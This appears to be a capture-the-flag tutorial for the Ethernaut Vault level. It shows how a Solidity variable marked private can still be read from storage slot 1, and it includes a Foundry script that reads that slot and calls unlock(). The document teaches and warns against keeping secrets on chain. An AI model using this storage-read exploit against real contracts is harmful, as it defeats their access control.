In Ethernaut level 8, Vault, the goal is to unlock a contract whose password is marked private. We'll use Foundry in the SCH CTF Arena to read the password from storage slot 1 and pass it to unlock().
Contract overview
The constructor sets locked to true and stores the supplied password. unlock clears the lock only when the caller supplies the same bytes32 value:
bool public locked;
bytes32 private password;
constructor(bytes32 _password) {
locked = true;
password = _password;
}
function unlock(bytes32 _password) public {
if (password == _password) {
locked = false;
}
}
For these declarations, locked occupies slot 0. The bytes32 password cannot fit in the remaining 31 bytes of that slot, so it begins in slot 1.
Read the password from slot 1
vm.load reads one storage word from a given slot. Load slot 1 from the instance, then pass it to unlock:
function run() external {
bytes32 password = vm.load(address(vaultInstance), bytes32(uint256(1)));
vm.startBroadcast(PLAYER_PRIVATE_KEY);
vaultInstance.unlock(password);
vm.stopBroadcast();
}
This reads the instance's value rather than relying on the verifier's known fixture. On an ordinary EVM network, the equivalent observation is a read of the contract's storage at slot 1 through a node or provider.
Run and verify it
Paste the function into the Vault editor. Check answer requires locked() to be false. A successful transaction alone is insufficient because a wrong password leaves the vault locked.
The local tests run the same script against the verifier's password and a different password. Both instances unlock, confirming the exploit reads the target's storage rather than hardcoding one value. A wrong-password control remains locked.
What private means here
private prevents other Solidity contracts from reading a variable through its source-level interface. It does not encrypt the storage word or hide transaction data from chain observers.
Solidity's documentation describes state-variable layout and packing. A full bytes32 value starts in the next slot when it cannot fit in the current one.
Do not store passwords or other secrets on a public chain. Hashing a guessable password does not make it secret because observers can test guesses. For access control, check an authorized caller or a suitable authorization proof instead of relying on confidential on-chain state.
Watch the walkthrough
Watch on YouTube if the embedded player is unavailable.
Challenge source: OpenZeppelin Ethernaut Vault. See Solidity's storage layout documentation, or solve Vault in the Arena.